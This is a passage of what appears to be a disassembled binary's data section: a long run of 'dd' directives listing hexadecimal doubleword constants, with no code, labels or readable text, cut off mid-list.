3F1C708Bh dd 78803DE6h, 560DF49Fh, 99F696BDh, 2D1CF21Ch, 0CB7CE9C1h dd 0BC41D745h, 6FBCC2h, 0ACF85534h, 80977805h, 6CB81DCCh dd 0AC609545h, 93017DC4h, 0B3C7AEB0h, 3608096h, 70D4E775h dd 0A6CF015Fh, 2CD72D39h, 5C30606Eh, 48873C27h, 0F407E57Ch dd 0D48800DFh, 1E93E94Fh, 4D12D1F2h, 98B8AC2Ch, 0CD7DDD00h dd 0BE722930h, 4F95350Fh, 0A5082FB2h, 0F801521Ch, 6832AE16h dd 0FBAF040h, 0A23800DAh, 0A9B03DF5h, 1900A5FFh, 0D65F2D8Ah dd 52B48h, 67BF13E4h, 0D4D54232h, 0EC4C8C05h, 58D29DF8h dd 75A20CC2h, 0F502509Ah, 0FB3B724Ah, 1FDB6041h, 2E47FCB2h dd 60917Eh, 0CC05CB76h, 0F62EF390h, 0BE0F5CA9h, 0A1538F54h dd 0C316A639h, 5FCC426Bh, 294055FEh, 6100F3C7h, 0F2F0113Fh dd 0E0EC3859h, 189F168Bh, 50C800BBh, 0D2E67EC6h, 8DE900Bh dd 118303EFh, 0B4984A2Dh, 0EC023D58h, 0D4612445h, 0A4D84033h dd 0FB1F021Eh, 433273CBh, 0F809B86Eh, 0A16D966Eh, 77C9D08h dd 18B89A83h, 0A6808191h, 0A104309Eh, 511DD314h, 403000ABh dd 5EFBDACEh, 9289289Bh, 0D5380A7h, 0E1E0F8h, 0FB51933Ch dd 0DD1A599Ch, 0B28CBD04h, 0E1987Fh, 11B59840h, 0F846719Bh dd 81DC94C2h, 6A03FE36h, 50306297h, 280FD718h, 80D92CFFh dd 0A6762243h, 0D8F5558Ah, 172896F2h, 2359E47h, 0A90DFA3Ah dd 81411068h, 0C0200858h, 0A032C9C0h, 583C9A6Ch, 1E05C62h dd 6C7F2804h, 0D9512602h dd 0CE1BB96Eh, 0A66918C0h, 768C316Ch, 0BCB9D628h, 47012A7Dh dd 3EB78FC1h, 3439CBC9h, 8050D05Eh, 0A2017830h, 0E71A62CFh dd 0E432BCBDh, 0B33AFB00h, 789C1118h, 2A50C14Dh, 53589061h dd 0ECF62A08h, 0B41C44A0h, 4C3E496h, 2CF1508Bh, 6F1C8C2h dd 7648A069h, 188C638Dh, 50E5D404h, 2B1DA914h, 7E0A4896h dd 6E7856h, 1C9D51E9h, 5D2F16F5h, 274C2CBDh, 4422D63Ch dd 0CD5712D5h, 0BA1C4052h, 0F29FE015h, 4CB81100h, 1C2B76B1h dd 0B2D4FA1Dh, 9CC073Ch, 0D0908546h, 8C7B2228h, 223A700h dd 0CA12753Ch, 0ADD7014Dh, 40A210FEh, 8287C5Bh, 60D3FB9h dd 117DE3DBh, 31F1C000h, 171B0F56h, 29930187h, 0A1CEA46Ah dd 0BD885219h, 7878E4C1h, 0FED1A25Ch, 0AE998F50h, 216991E6h dd 5B2E8100h, 88518DE8h, 0E9490084h, 0C9FC5C20h, 0D13FD775h dd 76616F96h, 4E155800h, 0C285DF40h, 0D02DF551h, 0D980F45Eh dd 93C96622h, 2158009Ah, 7DB08EA1h, 0F4008F39h, 2F76D0CEh dd 0A370E3h, 6743F764h, 4D7A9E9Fh, 7B34C904h, 0E0E8BEE8h dd 8B5D28h, 332DD53Dh, 0E2C4CA89h, 0E02B6800h, 31CF01F8h dd 0DBC200D6h, 30FB85F5h, 7A00E507h, 0B5842D8Dh, 0EC88FEEh dd 9FC3FF29h, 963A73C2h, 0B800985Ch, 0F395B797h, 7E207D5h dd 84E5339Ah, 3001EA48h, 0EE795AC9h, 2583BF8h, 0A51E858Fh dd 0C85EAAB2h, 0F8DB4200h, 98E68ACCh, 0C6700097h, 0A42E10BEh dd 0CD00339Fh, 0EFD1F583h, 28F9C77Ch, 12E4C581h, 0F4AD7FE9h dd 0CF00DAC0h, 0CDF9848h, 0CAB6A1h, 7BE13509h, 0C3908AF2h dd 0BD50E000h, 11C1154Ch, 0A09E2781h, 10B50872h, 802ADB44h dd 33029C3Dh, 0F52B0837h, 876054F8h, 27453F28h, 29B30193h dd 8A8E60DFh, 0B2812A02h, 57315170h, 0D1616800h, 0FAA05C62h dd 24174072h, 90C07A47h, 1D3AE3E0h, 0C4585391h, 0D2E46D67h dd 0BCE64964h, 4C8124h, 29DB013Eh, 0FD8F92B3h, 0BA01BC0h dd 4D82C48Bh, 0F095C45Ah, 0AD69025Ah, 97F9AB3Eh, 0D6FE2C7Ah dd 82430B00h, 403D8332h, 73F0089h, 0B6665D88h, 0C8039F5Ch dd 529E050Fh, 1B3B0A2h, 2EC20F8Ah, 37E016ACh, 0EB98D455h dd 0FC63CE24h, 5C59A609h, 9CA127C4h, 607C572Eh, 0E2005D84h dd 0CCB35EB9h, 3B76EC04h, 0D70028B4h, 0D67AB864h, 560066E8h dd 0F59E735Dh, 103CD32h, 0B0E277EDh, 0C0BDC3DDh, 2200642Bh dd 4A5FB69Eh, 0B124E88h, 5ACD4351h, 5C4D8020h, 0E30FC746h dd 0A68878h, 8D0D2A91h, 0B04400DAh, 6D27823Dh, 0CF00FD23h dd 0C55FAD07h, 48EC47Eh, 2D719638h, 805EBA94h, 1D19CA83h dd 4060DAA5h, 81F645h, 369613Bh, 0B51C4613h, 70016327h dd 0BDA60070h, 564295CEh, 79FAF4AFh, 0F824Ch, 23346F1Eh dd 9144F36h, 0C08A7EA0h, 2A1C8C7Ch, 0B4882C0h, 37A187h dd 0E043A561h, 0CB2D4D73h, 5D2D6C90h, 3FD416E3h, 898E4BFDh dd 0D1C0BA1Ah, 96DED776h, 0C1DB5C00h, 0B0D574A0h, 0F9E804AAh dd 0C05ED45Bh, 7D2A0415h, 5870AC03h, 0C862E43Bh, 0B83599DAh dd 44420348h, 7CB1A909h, 8CD9C81Dh, 4FE62600h, 9D4D6DDEh dd 0B4DAB8E0h, 3ED3EF1Eh, 7038E067h, 7A970093h, 5D74B015h dd 5400502Dh, 0B8AB75DCh, 34BFFA6h, 6999989Eh, 83D5F97Dh dd 0CE00C704h, 63342F35h, 0EA54F8F0h, 0BC16B58Fh, 52E13002h dd 0C90674DBh, 80D88E04h, 6CE80C0Eh, 1B4045F3h, 26F63Fh dd 49EC2DEEh, 1C298F02h, 7DE1689Eh, 0B600F048h, 92DC22E0h dd 0FD05C3C7h, 80E62473h, 0BD830280h, 0A3670033h, 9E2FB45Dh dd 0A9000AF1h, 8BE897BEh, 1ED7B658h, 0DC507BECh, 817E05CAh dd 2438FC20h, 1027A4C0h, 0A0497F6Ch, 0DF27B4h, 0EDDE67C1h dd 4FA23AE9h, 75029200h, 0C8667A51h, 0D81051Dh, 0F8FC3FC1h dd 0FEEB3A30h, 0A5873B17h, 0A40838F1h, 9899089Dh, 0E9004568h dd 0FCCBEBDh, 0F69E0333h, 91F0112Dh, 18783BCFh, 5C18D22Eh dd 9FCA0780h, 9FC705DCh, 4F824A9h, 92016D7Ch, 9C060D50h dd 0D7ECFAD8h, 17B8Dh, 9FE1A705h, 2C4C7469h, 5C7A70B2h dd 0CED52601h, 0BC219957h, 4D221980h, 4A31D885h, 65ED110Eh dd 3B41803Eh, 617A94h, 0F17FC292h, 4EDB6996h, 3E49F358h dd 585C0008h, 41024E8h, 0F01500FBh, 2A0E93F4h, 285CE597h dd 0CA8B002Ah, 13F94961h, 1CD4900Fh, 5D486DCDh, 1C582583h dd 7B5F1900h, 0D4FCE5E1h, 34CF3EA4h, 399C400h, 0D890CA6Ah dd 0E9BC200h, 1A13EBCEh, 0E26E0083h, 4B1070C1h, 0FA006D56h dd 76F828EFh, 1A413Dh, 0B783DFF4h, 0E126541Bh, 0EC9B4200h dd 249FC4A2h, 0EE82009Eh, 5107E3BAh, 0D4E3EFAh, 5ABCA0h dd 76E1D2B1h, 17C0B36Ah, 2D0E96FAh, 73123Ah, 6053CAD7h dd 9E720054h, 7EF8FEDCh, 0E5909826h, 0B5BB0700h, 57597D3Bh dd 414F09F4h, 0C81C919h, 66D5F751h, 2550078h, 24B81584h dd 1D1A797Dh, 45B3107Bh, 4797CBC9h, 0B06CD7D0h, 0F6843E38h dd 0C8CD58h, 9F3F1E96h, 4C035E66h, 0A900DCADh, 69951706h dd 0F80223C5h, 936349Dh, 0B480C0C9h, 4D140BBFh, 68036BB3h dd 0F0766F78h, 0C080BB48h, 3B5BB5EAh, 0DF520BB4h, 0E4D0B93Ch dd 0FF700E01h, 751D81C5h, 0B23EC360h, 406E4A78h, 0F23582DCh dd 9B1C0209h, 41832720h, 0C74E2486h, 48594Bh, 0F2CE0844h dd 3070C76Fh, 5B4B4800h, 17055F86h, 33160274h, 0F646D92Bh dd 0D8340375h, 797E019h, 0E3EE0103h, 5649473Ch, 0A8904453h dd 0EA3C78h, 0D21FE975h, 0CDB387h, 2765AF08h, 90D05CC9h dd 0DC3B5A1Ch, 0A7691080h, 917D349h, 302EB2CBh, 5401547Ch dd 0A8D47DCDh, 0F7AF0C4h, 8C80E0F4h, 538F3500h, 0D603DA4h dd 9578E7DEh, 0CFD53A11h, 8059991Eh, 0B41A5A84h, 37488825h dd 0E6330E70h, 0C6EBC794h, 6DF1D4C0h, 9E30E92Fh, 839B0419h dd 81DC814Bh, 0D68BDD96h, 54D80975h, 4872C54h, 0C86B9F86h dd 0D90225C0h, 9E9D8958h, 128DCECh, 0D0F1CD96h, 8C03AB1h dd 3EB28E4Fh, 7C937978h, 0BC200001h, 3619E765h, 0E3A02B03h dd 0D9829A4Ah, 5EE06632h, 16A0B8C9h, 4312DF4Ch, 15709258h dd 7B4533D9h, 820FEC01h, 0CE30A7C2h, 8F9087h, 0E96D7770h dd 54A03C26h, 4C7D9B17h, 8FF86809h, 0EA3720F5h, 4ABC15E7h dd 829C09BEh, 56CD8018h, 0FF209A09h, 3AD041AEh, 1CF18421h dd 0C710042Bh, 2A88907Ah, 0E500F872h, 0BAAF7DF5h, 74211F99h dd 0A5832455h, 0B2AD176Fh, 6E4BC4A4h, 30D4401Fh, 5DB8065Eh dd 1812F476h, 0ED19A41Eh, 0F2F46F74h, 0CD4F00DFh, 9EB6171h dd 0F32D05ACh, 60D88E19h, 6AFDA645h, 0DC87007Eh, 399A010Bh dd 4700262Eh, 27DECB1Ch, 906487Ch, 8CF22862h, 0AA0370F0h dd 49AF1320h, 6B4D900Fh, 755B09F8h, 0C80CF05h, 8B21FB65h dd 0BCE79E00h, 9AF9A0ABh, 0BFF89B12h, 0DB6AB780h, 4BA302A2h dd 81FF943Bh, 670CE671h, 8040CBD3h, 20B353h, 0C22C62B4h dd 4A4B2AD9h, 0BAD2EA78h, 53480407h, 0C887B931h, 0AD9B3F00h dd 154A909h, 7AA841D6h, 2F40070Ch, 6FC80449h, 11144FBh dd 3DAA19C3h, 74C6BC4h, 0B9686E73h, 265E2077h, 3900B31Fh dd 94CDB67Ch, 30871207h, 4661D41Dh, 209C83B1h, 6B5B4C00h dd 4C399030h, 0CD00648Ch, 0D92AD79Eh, 0A5165168h, 0C8D34667h dd 90F6A81Ah, 3BA7006Dh, 0B30D3A30h, 98EC2B29h, 0EB0298D3h dd 51BF05C2h, 4A9508C4h, 70CF0B00h, 4F443A0h, 59978CA7h dd 24AC9088h, 5848DB79h dd 20660160h, 0FA9132D6h, 103E5A01h, 9A104424h, 0F2DF01CCh dd 9003CAA3h, 18609643h, 2DAEECF0h, 401427F5h, 37C65207h dd 2320F0B2h, 0CCBFE4h, 3F422CC4h, 0E5B02A01h, 0F800D94Fh dd 3355F8BEh, 1E6B0223h, 0F0C403CEh, 5F088057h, 0CBD62Bh dd 0EDF46F54h, 0E0897536h, 0F80E1D79h, 0E0DA0DDFh, 0E3BCBEC7h dd 0D3641C6Bh, 84D4C0F7h, 0DD279306h, 0DBA92200h, 1325AAACh dd 38C5793Dh, 7A28F2D2h, 0C7842CF6h, 0BC6B8084h, 2EB1643Bh dd 3413ED00h, 0E9B2D1E0h, 74DCE849h, 0D5120038h, 0E1EAD072h dd 9A1C58CBh, 0A4284A67h, 263B2C00h, 0E85CF55Eh, 584E00B0h dd 0C1B8A2A5h, 8D670631h, 71774688h, 2377D4A1h, 742CE370h dd 0F4724F8Ch, 0B300FD5Ch, 0E3828B15h, 0C9D02Dh, 7D639E52h dd 0A8AF428Eh, 0FA37F914h, 73F7388h, 50AD091Ah, 60F84Ch dd 2EC30DF4h, 0B2B57B22h, 0CA6E1D04h, 49AF8D5Ch, 9A096610h dd 5B5A6CA1h, 736330C3h, 0B43740E8h, 63861810h, 0F982210h dd 79034B78h, 2EB66864h, 0E2583EDBh, 71BD9A00h, 0CE3C489h dd 7AA0469Dh, 0C6D91864h, 0C37B18CBh, 0D8AB6700h, 479DA7D6h dd 0D5583866h, 0ECBF9109h, 850C2900h, 0E89523CEh, 5F1A344h dd 3DA1B76Bh, 0E82C434Ah, 7001C8D9h, 2662A681h, 0A0DFB020h dd 0EC37E94Bh, 0ECE6F872h, 5F423E3Eh, 0C1F71804h, 0C440EA47h dd 0F836AF22h, 74090139h, 457B1FB7h, 0E23DFC98h, 1340F200h dd 18A2EC9h, 0C0B0007Ch, 0E46A30Ah, 0A41DEE6Eh, 3DDD4329h dd 0B300529Ch, 0F4B53903h, 5748079Dh, 20057F77h, 6847CFF9h dd 416EA600h, 39A4CB82h, 54CE0F49h, 0EC400D36h, 80592152h dd 0ABAF6200h, 0CD13072Ch, 5DD4F9C8h, 3B75009Dh, 0D679C52Dh dd 80C0E654h, 1337630Dh, 411A0068h, 524D8ED4h, 0D803D7EAh dd 0C8E06F4Fh, 6B04F028h, 845B006Eh, 6C4E5C0Bh, 0F7225D3h dd 9844B0A8h, 2FA1DF03h, 0A881998Bh, 5AA66EA0h, 0B0E25Ah dd 0EFDF9006h, 7E616863h, 253C003Eh, 67CC4C1Dh, 0F654A6E4h dd 660F40CCh, 6753522Ch, 0AC609F92h, 1CF990Dh, 0D33EF491h dd 0D4F08777h, 7906A345h, 2961EA66h, 60388A68h, 0B7C9B4h dd 0C1D67B9Fh, 6AB3A8F2h, 0BCFA5E00h, 61592905h, 5F11003Bh dd 9A30E68Fh, 85012DA9h, 40A057C5h, 0E180296Bh, 667D22D1h dd 210072DBh, 0CE847EDAh, 0E29D7310h, 2CA900A1h, 0CDCABEF5h dd 0C9C0E0A7h, 0BBA85715h, 2230078h, 82DA5040h, 80000ECEh dd 0A9F9F452h, 3E36DD32h, 16009757h, 0AB7233F7h, 3100624Eh dd 4D527937h, 3D5EF26Ch, 9782E5A5h, 0D393812Fh, 11C1D960h dd 5C4DA600h, 0ADE807BCh, 2AC892EDh, 845D34h, 0ECB8C1EBh dd 4C9B65DAh, 36CB5C07h, 0DC31BCE6h, 69209286h, 4139C0FAh dd 0D0EDDEC0h, 0A7793500h, 8DAB7356h, 0E6EB2E8Bh, 0F080397Eh dd 1EC4BBD2h, 609DADC1h, 3E3AF0h, 78B65C6Dh, 5669077h dd 0ED0003B8h, 0B7A6DE9Dh, 1C35CA9Bh, 7AD18ADAh, 117D7418h dd 48CA8D7h, 67B4ACCDh, 0D1C4416Bh, 418298B6h, 0FA159D54h dd 0F63D04B0h, 39101363h, 83D989F5h, 0E134218Ch, 0B3004E29h dd 94E59EACh, 0CDFB84h, 0DE56856Fh, 8B9BE091h, 236EB400h dd 0ABBF7E52h, 30FC5013h, 53111ED0h, 4DC00697h, 0DA0019F8h dd 73B859B1h, 331170A1h, 308997Bh, 89BF2100h, 0E907DD59h dd 450E0C29h, 6A999122h, 117D7200h, 206B8E6Eh, 4983003Bh dd 428295D2h, 29CF9F22h, 26E9E3C6h, 4511B04Fh, 3B9407BDh dd 63D3FB7Fh, 31E0BEB5h, 0EA60345Dh, 866080E9h, 0C4B7005Ah dd 0F388389Ch, 0B2DA9ACh, 63185883h, 439AA1F0h, 0D0A4279Dh dd 6CBB2F3Dh, 80A37E2Ah, 0A29CBE0Ah, 74408412h, 3C456C6h dd 0FE31B8DDh, 830D0D5h, 0CD9B214Ah, 5CBB0056h, 147BF550h dd 2F3E5322h, 38397294h, 9C5B0123h, 0D4CBBB3h, 0C459A4h dd 470C2DEEh, 65008D03h, 419B42D5h, 1C3981F1h, 0C0B8949Fh dd 0ED51159Ch, 4C00D59Ah, 993750FAh, 0E186DEAh, 952196BBh dd 59059026h, 0E7C62F00h, 9F5AABD7h, 0C17F74EAh, 0BB3329A9h dd 1828BEFBh, 0B4195B78h, 0CDBE19CEh, 0CD46518Dh, 0F521EE90h dd 985092DFh, 37BF3BDh, 0F438253Bh, 13992193h, 0A249805Eh dd 39BDB97Ch, 0B0980F17h, 6F79EA5h, 7937331Bh, 86FACF05h dd 0C0401634h, 0C217C035h, 78CD066Ch, 8BE9491h, 0D721F860h dd 1E0B17C8h, 7FFF1A7Eh, 0C738BB9Eh, 392D2319h, 10436E81h dd 5D3180A6h, 0C4CA9676h, 345A18FCh, 0ABF319E6h, 26E22F00h dd 516BEA2Eh, 6CD0012h, 5F0BDEB8h, 6E0ABDFEh, 54F92B34h dd 0C2808411h, 0BD6CC417h, 0D5E3448Ch, 0CC17CA00h, 1A40200Eh dd 5919C114h, 4890DCF4h, 2B326EA0h, 4D7B8BAh, 94C4518h dd 9B17B840h, 1F044802h, 83DB3E51h, 5291B92Ch, 77AA8C88h dd 0E1C29637h, 3BF19253h, 0C0E9A39h, 0BEEEC51Ch, 0BBB402E2h dd 26930C60h, 0DD129400h, 0B5D0FC0Fh, 79BF6033h, 7D2C785Ch dd 0CBB01490h, 2380A8D4h, 56C501A5h, 18D0DDC1h, 0CC94884Fh dd 35B45600h, 0EA81648Eh, 99790C60h, 52F9973Dh, 0D322F900h dd 1BAADDDCh, 795E3ABDh, 70EA7E08h, 0E602E4A0h, 0E7C19A46h dd 0F56048F7h, 24DF3A9Ch, 4A01FFBDh, 0E7DD9BF4h, 601040C7h dd 0E00B9B0h, 0F422DFADh, 0BB2C9Ah, 0B21D76F3h, 993CCA15h dd 7D89C9h, 0D1138D4Fh, 1C5833DEh, 21008209h, 0CD39A5DDh dd 0BB68AEh, 1DC4E2D5h, 0CBA7E6B5h, 95C0A007h, 0EAE1C94Dh dd 5C424172h, 0C7C46B1Bh, 12557AC3h, 89A7819h, 0C7C38924h dd 956C9117h, 0D088FD18h, 0DC1700CFh, 3768A141h, 0DF60F45Ch dd 95965451h, 0AF491FBh, 8DC5D5Fh, 0A4449B91h, 0C256C460h dd 11E8DD23h, 0CB950071h, 655D9656h, 6B7C037Dh, 3447E143h dd 134BAEFh, 16EFC626h, 4CB841ADh, 0B4199EF3h, 0AB5ACC0h dd 446C952Ch, 5F6013F4h, 0CAE4F61h, 4390036Dh, 880D836Eh dd 0ADCB7EA0h, 0A311B499h, 0A482C789h, 5891A0DDh, 0CE9A104Eh dd 59440056h, 3ADFF3E3h, 7530EAA8h, 34B4214Bh, 5EA4A8EFh dd 1337A7Bh, 75D79E77h, 208D8A98h, 6305B58Ch, 5D7BEABCh dd 171DE021h, 849BF510h, 117F20CFh, 3A11BA01h, 621E4399h dd 8044541Ch, 0B5263100h, 0EE239A95h, 3EF5F839h, 2424E955h dd 0BA171Ch, 9A407DD1h, 96022F8Eh, 15B37938h, 44C4CCDh dd 13B039BAh, 2F8F62D9h, 0AD39A240h, 26589012h, 5DE0C294h dd 0F3E640BAh, 38A70073h, 0F18065F5h, 3D4CA5F8h, 0D94E81DCh dd 9B307C99h, 0E7491205h, 56F60259h, 0F0C590E5h, 7E610EE4h dd 17E62093h, 0C0CA40C8h, 73BE598Fh, 122B146h, 5987B900h dd 0D3D86BA6h, 8161044Eh, 82FD28DBh, 0D830A008h, 0DDC61156h dd 804988C8h, 6C56CF99h, 4D30BD50h, 0F0AD39F6h, 7B221E8Dh dd 562C80D7h, 3F7ED8E9h, 538848F5h, 0A0AE7200h, 20481B9Ch dd 0C3CC02A4h, 0C1F4BC87h, 15DF9061h, 0A8413008h, 0F1134500h dd 4F4227Ch, 0AC631FDFh, 4D558C8h, 407E642Ch, 0B52C9817h dd 1F95BC0Eh, 249A80DAh, 0CFAD53FBh, 0B1605E30h, 6E68BBB5h dd 90AE5424h, 4BD1E829h, 3AA5C419h, 13DCBE48h, 9427221Fh dd 413FD550h, 25D0389Ah, 69CE2CCDh, 1FC28390h, 5D3906CFh dd 29893D9Ah, 2C0CF112h, 0EECE1F00h, 276867h, 97A20DC5h dd 9D757028h, 112C990Eh, 433790h, 0A83C9Ah, 3EEF6F41h dd 0EA8D7F1Dh, 1101C07Dh, 94BEE0DFh, 0ED700B2Ch, 5C5EAC9h dd 9CBF39F4h, 0C28060A6h dd 0DD24C056h, 977008D8h, 505664C9h, 8ABCC2BCh, 1117C430h dd 88AD6CC6h, 0CCD380E2h, 47E31F17h, 9819D606h, 0B2C0AB8Ch dd 23064530h, 30E0A2E8h, 3D0B314Dh, 2C20EDEh, 601466DCh dd 0C01234B0h, 0DB7D8D29h, 0F00A6421h, 380933ADh, 0C3878591h dd 0B56C2217h, 0D410FF31h, 0F10717CBh, 0CD13CCEBh, 643DC012h dd 5DF20118h, 2847241Ch, 30AC49D9h, 0ED72C124h, 71E9AC05h dd 30D3AA96h, 159DEE4h, 0D476AFB3h, 0D0DC20C0h, 0F6307105h dd 0BD6229B6h, 805300EEh, 4ABC486Eh, 1E73F911h, 0DE731408h dd 0E329FB2h, 50825571h, 3446DF9Ah, 0BA992A0Eh, 0E69DE1E3h dd 2C30F4FDh, 0B3028CCEh, 5173BA59h, 100F1971h, 6598BBDh dd 2843B290h, 0B8B9B9FCh, 40040802h, 5ADD40D1h, 23DF00BCh dd 0C494A50Fh, 6D05C213h, 2E667606h, 3970E0DCh, 0FE253315h dd 0BB06C098h, 0CC7CA201h, 0C7BFA894h, 3C8B5D0h, 0B9AC9F35h dd 0B3E1AAF0h, 0B674F0CAh, 0A999F61Eh, 1D9E3CBEh, 0B81BD475h dd 62A7D810h, 0ACEA0035h, 5ED3DD7Fh, 9600A5A8h, 9FC6BBB9h dd 7F67D60h, 0F4A0A295h, 0C07CF799h, 0CAACA4AFh, 0B0DCE1EFh dd 0A9CB3008h, 74BA7C62h, 0A17D0097h, 0CEB6B592h, 0C0EAADDAh dd 283DDB4Eh, 0A0BA041Eh, 0D645974Ch, 3F506F10h, 1FC28F7Fh dd 9F57808Ch, 12F67E6Eh, 0CBFC1685h, 0C048C880h, 0F0F87DEAh dd 1C50F264h, 7FEC08A1h, 289C678Dh, 5C68B943h, 0A930870Ch dd 0E7D77099h, 38DA63D8h, 65B3F515h, 609CE900h, 139A43C6h dd 3CDE0477h, 0E25AF91Dh, 3080F25Ch, 5A0E05EBh, 0D8294019h dd 18D3F589h, 58FD0791h, 3A00221Ch, 9B33A415h, 61341FDFh dd 0FACF98EBh, 0C7802887h, 6C2217C1h, 60E451C5h, 417C9D6h dd 2EEA130Ah, 0A7C48838h, 0C870CB53h, 0E990C070h, 4E003F2Bh dd 0B55943DBh, 4EEABCB4h, 3C044979h, 2D0430C8h, 0C5993Dh dd 2B572AEEh, 0AB5C47Ah, 617B9811h, 1B9B00ACh, 5AA6091Fh dd 38509F4Ah, 8CE3B878h, 8C72E807h, 0D7A51865h, 7DB09C10h dd 25127320h, 289F0F34h, 3F81E011h, 0C17D9A9Ch, 59619E20h dd 0EC0CA029h, 1EF99Bh, 9F566C90h, 0AF14F113h, 0EE244306h dd 0D88FEFBh, 50DE9016h, 0B374D420h, 0CE7424F4h, 141AE640h dd 90775398h, 94A8FA0Ch, 0F18D3B0h, 9678D9B0h, 901A7D67h dd 0A1550560h, 20D492E8h, 8E5A25ECh, 1689BD13h, 4A88A08Eh dd 489C8BC0h, 0E6E186Ch, 1FDD4891h, 800CC032h, 9008649Dh dd 1CC4600h, 73BC598Dh, 180B7081h, 0A12085BBh, 31C001DFh dd 0C407DDD2h, 6C5882F9h, 829A967Eh, 2DEBC38h, 2227E69Bh dd 0E531A143h, 0F568F404h, 0BF6BF30Eh, 4FC458E5h, 0C119160h dd 0B8BC4000h, 98F99493h, 0F5311470h, 2481E8D7h, 80421265h dd 0B2048C39h, 19267B0h, 0CCB4BCB6h, 834375EAh, 0F5CA8421h dd 0E26CC39Bh, 78C4471h, 2265C48Eh, 9ADD13DCh, 8344E791h dd 1E766EC1h, 0B5F81B82h, 42E450BCh, 0DA4C29DFh, 2A3D002Ch dd 6A6630C0h, 0F0024B4h, 0E4563EB6h, 1F411FBh, 0D9889679h dd 209D5AFCh, 0DD8848F8h, 0C05072EFh, 86CAA570h, 0DCA49695h dd 2FB59A3Ch, 0D4649004h, 0FF0F003Fh, 73BDC23Ah, 5CBE7159h dd 0C6DC00DCh, 0D4681AACh, 0E26812Dh, 8F11B4F1h, 31E53418h dd 2D3A85C7h, 0DDB100A5h, 0FC2E48B4h, 68502625h, 866C0268h dd 94857AB9h, 0D6E809DFh, 70795451h, 8B01CE18h, 3A22BE6h dd 60E26DCFh, 61F364h, 149589B8h, 8E6EBB9Eh, 0CC927D2Ah dd 9CF5CC00h, 9B99B6EFh, 319002DDh, 0EA1791FBh, 0E428DC41h dd 9E2C822Eh, 46748C13h, 0CCF40003h, 0BAA1EEACh, 40955E3Dh dd 6021B1C8h, 0AA007650h, 72CDA6E2h, 0F67EF903h, 2F4C4FD0h dd 1FF23F4h, 0EFE9DF7Ch, 0C226E07Dh, 74D5CEAh, 84F8246Ch dd 0F03A0D12h, 22010D23h, 4CA53AC3h, 7DA4412Bh, 0D5A12905h dd 0B96EF4DFh, 0A2A463FDh, 0D5983099h, 52DB000h, 0C666D459h dd 4CBFF413h, 0BA169870h, 88988BBEh, 3046C14Eh, 9FCBD889h dd 447E4Ch, 0FC13B97Dh, 306873B4h, 9C604D4Ah, 5D735CD5h dd 45C4B525h, 67E1E490h, 488E603Ch, 384E2C9Eh, 0F01F41D4h dd 4643EFF4h, 0D02A9C2Ch, 70D49E68h, 21B900E5h, 71096DF8h dd 91A4A5h, 8618FDD1h, 0AA3BDA09h, 82F482D8h, 0B43D057Ch dd 3A76B854h, 0B0D03B07h, 60CE6604h, 531A5D32h, 788CA005h dd 714F4026h, 84B3C624h, 9763BC85h, 0DE288E2h, 0B9C9030h dd 7BEA5592h, 284238C4h, 98E6C06h, 0D548A888h, 41DE30F0h dd 4A1E430Ah, 0EC5CC04Ah, 9360FD8Fh, 6EBC8428h, 8C3D3022h dd 29EC0FD9h, 748E103Ch, 1AE4D900h, 42E632B8h, 35471B58h dd 1BA071ECh, 7900C41Dh, 1A620E13h, 13BBB3C1h, 3078FD6Ch dd 0DD8CDE5Ch, 38555700h, 318716AAh, 7B7638F3h, 6E723A09h dd 0CE750805h, 0C1FF886Ch, 0DC67E24Ah, 0D1F6160Fh, 0A4CCC18h dd 0E0D31EF9h, 328307B6h, 67DB8991h, 105340C9h, 1826B9A8h dd 0E42854C2h, 8E02CB46h, 8973BF59h, 0B8100C31h, 14065986h dd 0E8333912h, 99B10791h, 509140C4h, 8C625FFFh, 8A0EAD01h dd 0EC13CE73h, 0CD888433h, 0C1598CC2h, 0AC7C9928h, 5984BAB0h dd 0C1EA6B0Bh, 2698A093h, 32DE7225h, 0F10E743h, 85550440h dd 82A15780h, 60A7FC84h, 2CC756C3h, 7004C0DDh, 560FCA96h dd 0E02317F1h, 39E27EC1h, 1D40187Fh, 7BF5F1EEh, 0DBB71C00h dd 82965E3Eh, 17BA172Ch, 7CDA1498h, 77DE7304h, 5D080209h dd 5C4412h, 3DBE8E8Fh, 8162AD7Dh, 53674008h, 2F1771BDh dd 0FE230C3Eh, 0B869A00h, 1481AEB5h, 6033BF15h, 6A38F70Eh dd 835B22E0h, 0E809FE12h, 524C0C1Ch, 9FD70014h, 4595FD6Ah dd 790005B0h, 3682AD5Dh, 4A2BC85h, 0F421DFC4h, 0F2CCB28Ah dd 44F0334Ah, 7831EA20h, 29431958h, 4012F429h, 0D000470h dd 44AD13h, 7EB9F519h, 60313DC4h, 62F3884Bh, 4D4B8910h dd 718D10D0h, 0B18A2653h, 4BAA0FCEh, 0B67351C0h, 4E171D6Ah dd 7C47DCF4h, 0A97BC454h, 0C12C4D60h, 20626371h, 0EA88ED0Ch dd 0D0B97Dh, 7E68BBB4h, 18B0D329h, 0C42C10FAh, 5A04A4D5h dd 1CA92249h, 69E3DA00h, 4AACD2BEh, 13A23E00h, 0C5F26CF8h dd 2471EAEAh, 2AF16B7Bh, 0D6FCBC68h, 3446BF14h, 7D240054h dd 3144BABh, 8E992FF6h, 9A83883h, 802CA05Ch, 4F62B2BEh dd 0B9E800D7h, 465958F5h, 0E905A345h, 2F7BF486h, 0A54A814h dd 0E8349796h, 0E47C45A5h, 58076702h, 60F96B12h, 8033571Ch dd 66126825h, 0EC01940Eh, 7A5CF7D0h, 0C1319870h, 0DBF5E5D1h dd 60202593h, 48CC920h, 138C39BEh, 3EDA38B9h, 0BF8139A6h dd 0D4CA9209h, 0C2EE0B1h, 84C8A51Eh, 55105464h, 2EF46C8Ah dd 0EB096FE0h, 8000E879h, 0F8CF65F7h, 11240099h, 1096C4ACh dd 0C209BFC6h, 916A9584h, 0C3213D4h, 5951BC00h, 5DD42F33h dd 4CE40700h, 95C54EB7h, 0FDFA456Ch, 0D2F042DCh, 4D446C67h dd 0E4A29A61h, 6B2EED7Ah, 4C109014h, 0F2E8D27Eh, 41B400B4h dd 9E502E20h, 6C05CFFh, 8C80523Fh, 0F42A9A58h, 955C9665h dd 0DEF584E4h, 45C3AC88h, 122060BDh, 2C16D40h, 5AB2411Fh dd 742049Fh, 28D3D869h, 0E8B2354h, 6C4417C5h, 0D238A5h dd 0EEE717CDh, 22E3683Fh, 0C8B5702Eh, 0A75DA08h, 0C48D6F5h dd 714016BCh, 3807099h, 8B6AE24Fh, 8C7B0F89h, 2D02A2C0h dd 6CC6C4B0h, 0D2F24E17h, 6E8A1100h, 1F5A289h, 